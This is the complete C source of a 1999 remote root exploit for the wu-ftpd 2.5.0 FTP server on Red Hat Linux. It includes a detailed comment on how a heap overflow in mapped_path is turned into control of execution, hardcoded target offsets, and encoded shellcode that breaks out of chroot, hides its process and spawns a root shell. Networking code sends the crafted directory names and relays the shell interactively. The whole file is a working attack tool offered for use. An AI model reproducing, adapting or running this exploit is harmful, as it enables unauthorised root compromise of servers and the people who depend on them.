/*
 * wuftpd250-sploit.c - wuftpd 2.5.0 hands us (remote) r00t in the ensuing
 *                      chaos that follows a heap overflow. Linux version.
 *
 * C0ded by nuuB [Sep 19, 1999]
 *
 * Compile with:
 *
 *        cc wuftpd250-sploit.c -o wuftpd250-sploit
 *
 * Credits:
 *        typo for interesting discussions and the double combo idea.
 *        edi for the 'eip in PASS' idea.
 *        lcamtuf for finding the bug and posting on bugtraq.
 *        temas for a RH6 box to test this on.
 *
 * Quote:
 *
 * "<typo_> it's wicked... but you can change errcatch and LastArgv at the
 *          same time, thus doing an elite combo and owning the entire world"
 *
 * Below is a detailed description of how the exploit works. You shouldn't
 * have too much trouble understanding what is going on. The code is written
 * for readability and roboustness (i.e not using the 'printf()|nc' style).
 *
 * Have fun, but as always - BEHAVE!
 *
 * /nuuB
 */

/*
 * Overflow:
 * 
 *   cwd(<EGG>) -> mapping_chdir() -> do_elem() -> strcat(mapped_path, dir);
 *
 * Pseudo call sequence for each received FTP command:
 *
 *   if(command_not_implemented) longjmp(errcatch);
 *   setproctitle("<who>: <command>");
 *   do_<command>();
 *   setproctitle("<who>: IDLE");
 *
 * where
 *
 *   setproctitle(<string>) {
 *     copy <string> to Argv[0] and pad with spaces to LastArgv;
 *   }
 *
 * Egg:
 *
 *    /incoming/A--A/<c0de>/<c0de>A--A/eeee00001111oooooooovvvvLLLL\0
 *    ^- 0           ^- mp_size-255-256            ^- mp_size
 *
 * Pad: A--A=padding/NOP
 * Data: e=eip for the 2x combo (see below), 0=owned_Argv[0], 1=owned_Argv[1]
 * Overflowed variables: o=onefile, v=Argv (ptr to Argv[0]), L=LastArgv
 *
 * mp_size = sizeof(mapped_path) + any alignment bytes added by the compiler
 *
 *   We can't get eip directly, but as setproctitle() copies data we have some
 *   control over to the area between Argv[0] and LastArgv we can do some neat
 *   stuff. There are several ways to do it, but this exploit uses the three
 *   different methods outlined below.
 *
 * Anon attack:
 *
 *   We place the pointer to our c0de in PASS (used in setproctitle("IDLE")).
 *   eip can be snagged in different ways. One way is to overwrite the return
 *   address on the stack for setproctitle(), essentially turning the heap
 *   overflow into a stack overflow. The nature of the exploit forces us to
 *   know the exact place on the stack, and this varies with the environment.
 *   Thus this method is very unreliable, but is still included as we do
 *   this for fun :) A better way is to overwrite the JB_PC part of errcatch
 *   and then cause errcatch to be called by issuing an unimplemented command.
 *   Still, we need two offsets, but both are on the heap. As a bonus
 *   this method can't be stopped by Stack Guard or non-executable stacks.
 *
 *   Required offsets: mapped_path, setproctitle() stack eip / errcatch.
 *
 * Account attack: 
 *
 *   There is no controllable data in the setproctitle("IDLE") call so we use
 *   two CWD's and make use of the setproctitle("CWD") calls. The first CWD
 *   will set the Argv stuff so the second CWD (with our eip) gets written
 *   where we want. The second CWD will have to change the Argv's so that
 *   we don't destroy the eip when the final setproctitle("IDLE") call comes.
 *   In this case we can't write eip to the stack as it will be hosed before
 *   we get a chance to use it. This method works for anonymous too and is
 *   unstoppable by Stack Guard etc.
 *
 *   Required offsets: mapped_path, errcatch.
 *
 * Interesting finding:
 *
 *   When trying to CWD <overflowing component> you get a 250 reply under
 *   RH5.1, but under RH6.0 you get a 550 (i.e chdir() fails) - even though
 *   the source for wuftpd is the same in both cases. This probably has to do
 *   with the different kernel/libc's and how they handle long paths. Anyhow,
 *   this needs to be taken into account in the double combo attack.
 *
 * Offsets:
 *
 *   The above methods require two offsets to be known exactly. This gives
 *   us a lot of combinations to try. The amount could possibly be reduced
 *   a bit using more eip pointers, but as mapped_path has to be known
 *   the number of combinations is bigger than I think is practical. Thus
 *   there is no option to enter offsets from the command line.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <ctype.h>

extern int errno;

/* Offsets that must be known (exactly) */
int mapped_path_size; /* not really an offset... normally 1024 or 4096 */
unsigned long mapped_path;
unsigned long eip_addr;

/* Values we want to set the corresponding variables to. Calculated from the
 * above offsets.
 */
unsigned long c0de_addr;
unsigned long owned_Argv0;
unsigned long owned_Argv;
unsigned long owned_LastArgv;

#define TOP_OF_STACK 0xc0000000

/* Variable that decides if mkd_cwd() aborts on errors or not */
int mkd_cwd_bail_on_error=1;

/* Lets start collecting offsets... */

struct preset {
  char *desc;
  void (*attack)();
  int mpsize;
  unsigned long mp;
  unsigned long eip_addr;
};

void attack_anon();
void attack_any();

/* Offsets can be found using gdb, objdump or ltrace */

struct preset presets[]={
  {"eip   RH 6.0  wu-ftpd-2.5.0-2.i386.rpm        Tue Jun 8 08:55:12 EDT 1999",
   attack_anon, 4096, 0x0806a1e0, 0xbfffe8a4},
  
  {"ljmp  RH 5.1  wu-ftpd-2.5.0-1.RH5-1.i386.rpm  Fri May 21 10:45:57 EDT 1999",
   attack_anon, 1024, 0x08066890, 0x0806fcc0+5*4},
  {"ljmp  RH 5.2  wu-ftpd-2.5.0-0.5.2.i386.rpm    Tue Jun 8 11:19:44 EDT 1999",
   attack_anon, 1024, 0x08067504, 0x08070930+5*4},
  {"ljmp  RH 6.0  wu-ftpd-2.4.2vr17-3.i386.rpm    Mon Apr 19 09:21:53 EDT 1999",
   attack_anon, 4096, 0x08067780, 0x08075520+5*4},
  {"ljmp  RH 6.0  wu-ftpd-2.5.0-2.i386.rpm        Tue Jun 8 08:55:12 EDT 1999",
   attack_anon, 4096, 0x0806a1e0, 0x08077fc0+5*4},

  {"2x    RH 5.1  wu-ftpd-2.5.0-1.RH5-1.i386.rpm  Fri May 21 10:45:57 EDT 1999",
   attack_any, 1024, 0x08066890, 0x0806fcc0+5*4},
  {"2x    RH 5.2  wu-ftpd-2.5.0-0.5.2.i386.rpm    Tue Jun 8 11:19:44 EDT 1999",
   attack_any, 1024, 0x08067504, 0x08070930+5*4},
  {"2x    RH 6.0  wu-ftpd-2.4.2vr17-3.i386.rpm    Mon Apr 19 09:21:53 EDT 1999",
   attack_any, 4096, 0x08067780, 0x08075520+5*4},
  {"2x    RH 6.0  wu-ftpd-2.5.0-2.i386.rpm        Tue Jun 8 08:55:12 EDT 1999",
   attack_any, 4096, 0x0806a1e0, 0x08077fc0+5*4},

  {0,0,0,0,0}
};


/* Some stuff we need */

int ctrl;
int verbose;
char *local_hostname;

char *target_host;
int   target_port;
char *target_user=0;
char *target_pass=0;
char *target_dir=0;

/*
 * This c0de breaks out of chroot() and then goes through a lot of trouble
 * to hide the process from the system operator. Finally a shell is spawned.
 *
 * c0de:
 *
 *   setreuid(0,0); mkdir("h"); chroot("h"); for(i=0x42;i;--i) chdir("..");
 *   chroot("."); hide_process(); execve("/bin/sh");
 *
 * N0n0 c0dez: 0x00, 0x0a, 0x0d and for convenience 0x2f ('/').
 */

/* Not optimized for space as we got plenty of room */

#define C0DE_SIZE 402

char c0de[]="\xbc\xfc\xff\xff\xbf\xeb\x02\xeb\x1c\xe8\xf9\xff\xff\xff\x2e\x2e"
            "\x30\x53\x64\x65\x76\x53\x63\x6f\x6e\x73\x6f\x6c\x65\x30\x53\x62"
            "\x69\x6e\x53\x73\x68\x5d\x31\xc0\x88\x45\x02\x88\x45\x0f\x88\x45"
            "\x17\x8d\x5d\x15\x89\x5d\x18\x89\x45\x1c\x04\x2e\x40\x88\x45\x03"
            "\x88\x45\x07\x88\x45\x10\x88\x45\x14\x31\xc0\x89\xc3\x89\xc1\xb0"
            "\x46\xcd\x80\x8d\x5d\x16\x31\xc9\x66\xb9\x6d\x01\x31\xc0\xb0\x27"
            "\xcd\x80\x8d\x5d\x16\x31\xc0\xb0\x3d\xcd\x80\x31\xc9\xb1\x42\x89"
            "\xeb\x31\xc0\xb0\x0c\xcd\x80\x49\x75\xf5\x8d\x5d\x01\x31\xc0\xb0"
            "\x3d\xcd\x80\xeb\x5d\x8d\x55\x1c\x8d\x4d\x18\x8d\x5d\x10\x31\xc0"
            "\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\xb0\x01\xcd\x80\x2a\x02\x02\x04"
            "\x04\x01\x01\x01\x01\x04\x04\x02\x02\x89\xf3\x66\xb9\x32\x4b\x31"
            "\xc0\xb0\x36\xcd\x80\xc3\x89\xc2\x53\xc1\xe3\x10\x09\xda\x89\xf3"
            "\x66\xb9\x30\x4b\x31\xc0\xb0\x36\xcd\x80\x5a\xc1\xe2\x14\x89\x55"
            "\x08\x31\xc0\x89\x45\x04\x8d\x5d\x04\x31\xc9\xb0\xa2\xcd\x80\xc3"
            "\xeb\xb2\x8d\x5d\x03\x31\xc9\xb1\x02\x31\xc0\xb0\x05\xcd\x80\x89"
            "\xc6\x31\xc0\xb0\x9b\x01\xe8\x89\x45\x10\x31\xdb\xb3\xa8\x90\x90"
            "\x01\xeb\x89\x5d\x18\x31\xc0\xb0\x8e\x01\xe8\x89\x45\x0c\x31\xc9"
            "\xb1\x06\x51\x59\x49\x51\xe3\xc8\x31\xc0\x40\x8b\x5d\x0c\x88\x03"
            "\x31\xff\x66\xbf\x5c\x12\x89\xf8\x31\xdb\xb3\x28\xff\x55\x18\x8b"
            "\x5d\x0c\x31\xc0\x8a\x03\x50\x03\x45\x0c\x31\xd2\x8a\x10\x58\x40"
            "\x83\xf8\x0c\x75\x03\x31\xc0\x40\x88\x03\xff\x55\x10\x31\xc0\xb0"
            "\x47\x29\xc7\x66\x81\xff\x60\x09\x73\xcc\x31\xff\x66\xbf\x60\x09"
            "\x0f\xba\xe7\x01\x73\x07\x31\xd2\xb2\x07\xff\x55\x10\x89\xf8\x31"
            "\xdb\xb3\x28\xff\x55\x18\x0f\xba\xe7\x01\x73\x07\x31\xd2\x31\xd2"
            "\xff\x55\x10\x31\xc0\xb0\x65\x01\xc7\x66\x81\xff\x5c\x12\x76\xd0"
            "\xeb\x81";

void usage() {
  int i;

  printf("wuftpd 2.5.0 remote r00t exploit. C0ded by nuuB [Sep 19, 1999].\n\n"
	 "Usage: wuftpd250-sploit <target> <type>\n\n"
	 "<target> = [<user>:<pass>@]<host>[:<port>][/<writable dir>]\n\n"

"Type Neeq  Distro  RPM                             Banner date\n"
"---- ----  ------  ------------------------------- ----------------------------\n");

  for(i=0; presets[i].desc; ++i) {
    if(presets[i].mpsize)
      printf("%2d)  %s\n", i, presets[i].desc);
  }

  printf("\n"
  " eip   = setproctitle() eip overwrite (stack, unreliable, anonymous only)\n"
  " ljmp  = errcatch JB_PC overwrite (heap, anonymous only)\n"
  " 2x    = errcatch JB_PC overwrite using 2x combo (heap)\n");
  exit(0);
}


void parse_url(char *url) {
  char *u, *s;

  u=strdup(url);
  if((s=strrchr(u, '@'))) {
    *s++=0;
    target_user=u;
    u=s;
    if(!(s=strchr(target_user, ':'))) usage();
    *s++=0;
    target_pass=s;
  }
  target_host=u;
  if((u=strchr(u, '/'))) {
    target_dir=strdup(u);
    *u=0;
  }
  if((s=strchr(target_host, ':'))) {
    *s++=0;
    if(!isdigit(*s)) usage();
    target_port=atoi(s);
  }
  else
    target_port=21;
}


void baile(char *s) {
  printf("*** %s [errno=%d - %s]\n", s, errno, strerror(errno));
  exit(1);
}


void bail(char *s) {
  printf("*** %s\n", s);
  exit(1);
}


/* Should work on all platforms */

char *htol_LEstr(unsigned long num) {
  static unsigned char buf[5];
  unsigned long n;

  n=htonl(num);
  buf[0]=(n>>24)&0xff;
  buf[1]=(n>>16)&0xff;
  buf[2]=(n>>8)&0xff;
  buf[3]=n&0xff;
  buf[4]=0;

  if(strlen(buf) != 4 ||
     strchr(buf, '\r') || strchr(buf, '\n') || strchr(buf, '/')) {
    printf("*** Illegal char in number 0x%08x found!\n\n", (unsigned int)num);
    bail("Sploit needs to be slightly realigned. No problems, right kidz? B}");
  }
  return buf;
}


int connect_host() {
  char *p;
  int fd;
  struct sockaddr_in target, me;
  struct hostent *he;
  int me_len;

  /* Connect to victim */
  memset(&target, 0, sizeof(struct sockaddr_in));
  target.sin_family=AF_INET;
  if(!inet_aton(target_host, &target.sin_addr)) {
    if(!(he=gethostbyname(target_host)))
      baile("Unable to resolve victim hostname.");
    memcpy((char *)&target.sin_addr, he->h_addr, he->h_length);
  }
  target.sin_port=htons(target_port);
  if((fd=socket(AF_INET, SOCK_STREAM, 0))<0) baile("socket() failed");
  if(connect(fd, &target, sizeof(target))) baile("connect() failed");
  
  /* Get local hostname */
  me_len=sizeof(me);
  if(getsockname(fd, &me, &me_len))
    baile("Unable to determine local hostname!");
  if((he=gethostbyaddr((char *)&me.sin_addr, sizeof(me.sin_addr), AF_INET)))
    local_hostname=strdup(he->h_name);
  else if((p=inet_ntoa(me.sin_addr))) {
    strcpy(local_hostname, p);
  }
  else
    baile("Unable to determine local hostname!");

  printf("*** Local hostname: %s\n", local_hostname);
  return fd;
}


char *get_response_str() {
  static char buf[16384]; /* Yer leet-hacked-up ftpd can 0wn the sploiter B] */
  char *p;

  p=buf;
  while(read(ctrl, p, 1) == 1) {
    if(*p == '\r') {
      *p++=0;
      while(read(ctrl, p, 1) == 1 && *p != '\n')
	;
      if(buf[3] == ' ') {
	if(verbose == 1)
	  printf("%4.4s\n", buf);
	else if(verbose >= 2)
	  printf("%s\n", buf);
	  
	return buf;
      }
      p=buf;
      continue;
    }
    ++p;
  }
  bail("Server disconnected.");
  return 0; /* Never reached */
}


int get_response() {
  char *s;

  s=get_response_str();
  if(!isdigit(s[0]) || !isdigit(s[1]) ||!isdigit(s[2]))
    bail("Illegal response from server.");
  return atoi(s);
}


void send_command(unsigned char *cmd) {
  if(verbose == 1) printf("--> %4.4s\n", cmd);
  if(verbose >= 2) printf("--> %s\n", cmd);
  while(*cmd) {
    if(write(ctrl, cmd, 1) != 1) baile("write failed");
    if(*cmd == 0xff) /* 0xff -> IAC IAC */
      if(write(ctrl, cmd, 1) != 1) baile("write failed");
    ++cmd;
  }
  if(write(ctrl, "\r\n", 2) != 2)
    baile("write failed");
}


int mkd_cwd(char *dir) {
  char buf[1024];
  int r;

  sprintf(buf, "MKD %s", dir);
  send_command(buf);
  r=get_response();
  if(r !=  257 && r != 521) { 
    printf("*** Failed to create dir (reply=%d)\n", r);
    bail("Aborting.");
  }
  sprintf(buf, "CWD %s", dir);
  send_command(buf);
  r=get_response();
  if(r != 250 && mkd_cwd_bail_on_error) bail("CWD failed.");
  return r;
}


/* update_buffer() + shovel_data() moves data between the shell and the
 * local terminal.
 */

#define BUFSIZE 128

int update_buffer(char *buf, int *idx, int thisone, int direction) {
  if(thisone < 0) {
    if(errno == EINTR || errno == EWOULDBLOCK)
      return 0;
    return 1;
  }
  if(!thisone)
    return 1;
  if(direction < 0) {
    if(thisone < *idx)
      memmove(buf, &buf[thisone], *idx-thisone);
    *idx-=thisone;
  }
  else
    *idx+=thisone;
  return 0;
}


void shovel_data(int netfd) {
  fd_set R,W;
  char obuf[BUFSIZE], ibuf[BUFSIZE];
  int o, i;
  int done;
  
  fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK);
  fcntl(STDOUT_FILENO, F_SETFL, O_NONBLOCK);
  fcntl(netfd, F_SETFL, O_NONBLOCK);
  
  o=i=done=0;
  while(!done) {
    FD_ZERO(&R); FD_ZERO(&W);
    if(i > 0) FD_SET(STDOUT_FILENO, &W);
    if(i < BUFSIZE) FD_SET(netfd, &R);
    if(o > 0) FD_SET(netfd, &W);
    if(o < BUFSIZE) FD_SET(STDIN_FILENO, &R);
    
    select(netfd+1, &R, &W, 0, 0);
    
    if(FD_ISSET(STDOUT_FILENO, &W))
      done|=update_buffer(ibuf, &i, write(STDOUT_FILENO, ibuf, i), -1);
    if(FD_ISSET(netfd, &W))
      done|=update_buffer(obuf, &o, write(netfd, obuf, o), -1);
    if(FD_ISSET(STDIN_FILENO, &R))
      done|=update_buffer(obuf, &o, read(STDIN_FILENO, &obuf[o], BUFSIZE-o),1);
    if(FD_ISSET(netfd, &R))
      done|=update_buffer(ibuf, &i, read(netfd, &ibuf[i], BUFSIZE-i), 1);
  }
}


/* Do the stuff common to the attacks */

int do_prologue() {
  char buf[1024];
  char *s, *t;
  int pos;

  verbose=2;
  mkd_cwd_bail_on_error=1;

  if(get_response() != 220) bail("No welcome banner.");
  sprintf(buf, "USER %s", target_user);
  send_command(buf);
  if(get_response() != 331) bail("USER failed.");
  sprintf(buf, "PASS %s", target_pass);
  send_command(buf);
  if(get_response() != 230) bail("PASS failed.");
  if(target_dir) {
    sprintf(buf, "CWD %s", target_dir);
    send_command(buf);
    if(get_response() != 250) bail("CWD <writable dir> failed.");
  }
  send_command("PWD");
  s=get_response_str();
  if(strncmp("257 \"", s, 5) || !(t=strchr(&s[5], '"')))
    bail("Unable to get current directory.");

  /* Pos is how much of mapped_path is used so far (excluding NULL) */
  pos=(t-(s+5));

  printf("*** Creating deep directory. This may take some time...\n");
  verbose=0;

  /* Align to 256 bytes (excluding trailing /) */
  memset(buf, 'A', sizeof(buf));
  buf[256-(pos+1)]=0;
  mkd_cwd(buf);
  pos+=1+strlen(buf);

  /* Keep going */
  memset(buf, 'A', sizeof(buf));
  buf[255]=0;
  while(pos+255 < mapped_path_size-256*2) {
    mkd_cwd(buf);
    pos+=1+strlen(buf);
  }

  printf("*** Time to bring out the c0de...\n"
	 "*** Reply codes: 250=OK, 521=Exists, 257=Created, 5xx=Failed\n");
  verbose=1;

  /* alarm(0) B} */
  /* c0de[131]=c0de[132]=c0de[255]; */

  /* First part of the code */
  strncpy(buf, c0de, 255);
  buf[255]=0;
  mkd_cwd(buf);
  pos+=1+255;

  /* Second part + pad */
  memset(buf, 'A', sizeof(buf));
  strncpy(buf, c0de+256, C0DE_SIZE-256);
  buf[255-12-1]=0;
  mkd_cwd(buf);
  pos+=1+strlen(buf);

  /* Sofar mmaped_path_size-12 bytes of mapped_path is used (including null) */

  return pos;
}


void attack_anon() {
  char buf[1024];
  int pos;

  if(target_user || target_pass)
    bail("Sorry, this type only works for anonymous FTP...");

  printf("*** Logging in as anonymous.\n");

  ctrl=connect_host();

  /* Calculate offsets */ 
  c0de_addr=mapped_path+mapped_path_size-255-256;
  owned_Argv=mapped_path+mapped_path_size-8;
  owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */
  /* "ftpd: <host>: anonymous/" */
  owned_Argv0=eip_addr-(6+strlen(local_hostname)+12);

  target_user="anonymous";
  sprintf(buf, "%s@tta.ck", htol_LEstr(c0de_addr));
  target_pass=buf;
  
  pos=do_prologue();

  /* This last block starts at mapped_path[mapped_path_size-12] */
  memset(buf, 'A', sizeof(buf));
  /* Skip eeee for this method */
  strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
  /* Skip sizeof(owned_Argv1)+sizeof(onefile) = 4+8 */
  strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4);
  strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
  pos+=1+strlen(buf);

  printf("*** Total egg size is %d. Sending final component.\n", pos);
  mkd_cwd_bail_on_error=0; /* Ignore the final CWD return code */
  mkd_cwd(buf);
  printf("*** N0w w0u1d b3 4 g00d 71m3 70 g0 54cR1f1c3 4 g047 4nD\n"
	 "*** pr4Y t0 7h3 g0D 0f 0ff537z...\n\n");
  /* Cause longjmp(errcatch) - only needed for the errcatch method */
  write(ctrl, "MRCP\r\n", 6);
}


void attack_any() {
  char buf[1024];
  int pos;
  int prefixlen;

  if(!target_user || !target_pass) {
    target_user="anonymous";
    target_pass="cr@ck.er";
    printf("*** Logging in as anonymous.\n");
  }
  
  ctrl=connect_host();

  /* Calculate offsets */
  c0de_addr=mapped_path+mapped_path_size-255-256;
  owned_Argv=mapped_path+mapped_path_size-8;
  /* "ftpd: <host>: <user>: CWD " */
  prefixlen=14+strlen(local_hostname)+strlen(target_user);
  
  /* 'anonymous/' pass */
  if(!strcmp(target_user, "ftp") || !strcmp(target_user, "anonymous"))
    prefixlen+=strlen(target_pass)+1-strlen(target_user)+9;
  
  pos=do_prologue();

  /* First CWD */
  owned_Argv0=eip_addr-prefixlen;
  owned_Argv=mapped_path+mapped_path_size-8;
  owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */

  memset(buf, 'A', sizeof(buf));
  strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
  strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4);
  strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));
  pos+=1+strlen(buf);
  printf("*** Total egg size is %d. Sending 2x combo.\n", pos);
  verbose=1;
  printf("*** Round-house kick.\n");

  mkd_cwd_bail_on_error=0; /* Ignore the CWD return code */
  if(mkd_cwd(buf) == 250) {
    send_command("CWD .."); /* Back up if the chdir() was successful */
    get_response();
  }

  /* Second CWD.
   *
   * Borrow some room near TOP_OF_STACK ("free space") as a safe place for
   * the remaining times setproctitle() is called.
   */
  owned_Argv0=TOP_OF_STACK-8;
  owned_LastArgv=TOP_OF_STACK-1;

  strncpy(buf, htol_LEstr(c0de_addr), 4);
  strncpy(buf+4, htol_LEstr(owned_Argv0), 4);
  strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv));

  printf("*** Elite-airborne-double-kick-to-the-head as featured in "
	 "The Matrix.\n");
  mkd_cwd(buf);

  printf("*** Triggering c0de. K33P y3R f1Ng4z X-3d!\n");
  write(ctrl, "MRCP\r\n", 6); /* Cause longjmp(errcatch) */  
}


int main(int argc, char *argv[]) {
  int i;

  if(argc != 3 || !isdigit(*argv[2])) usage();
  
  parse_url(argv[1]);

  /* Find the preset */
  for(i=0; presets[i].desc; ++i) {
    if(i==atoi(argv[2]))
      break;
  }
  if(!presets[i].mpsize) bail("No such target type.");
  
  mapped_path_size=presets[i].mpsize;
  mapped_path=presets[i].mp;
  eip_addr=presets[i].eip_addr;

  (presets[i].attack)();

  signal(SIGINT, SIG_IGN);    /* Get rid of accidental ctrl-C */
  write(ctrl, "id\n", 3);     /* assert(0wnage) */
  shovel_data(ctrl);
  write(ctrl, "\nexit\n", 6); /* Extra safeguard in case user hits ctrl-D */

  printf("\n*** I hope you behaved...\n***\n*** nuuB\n");
  return 0;
}
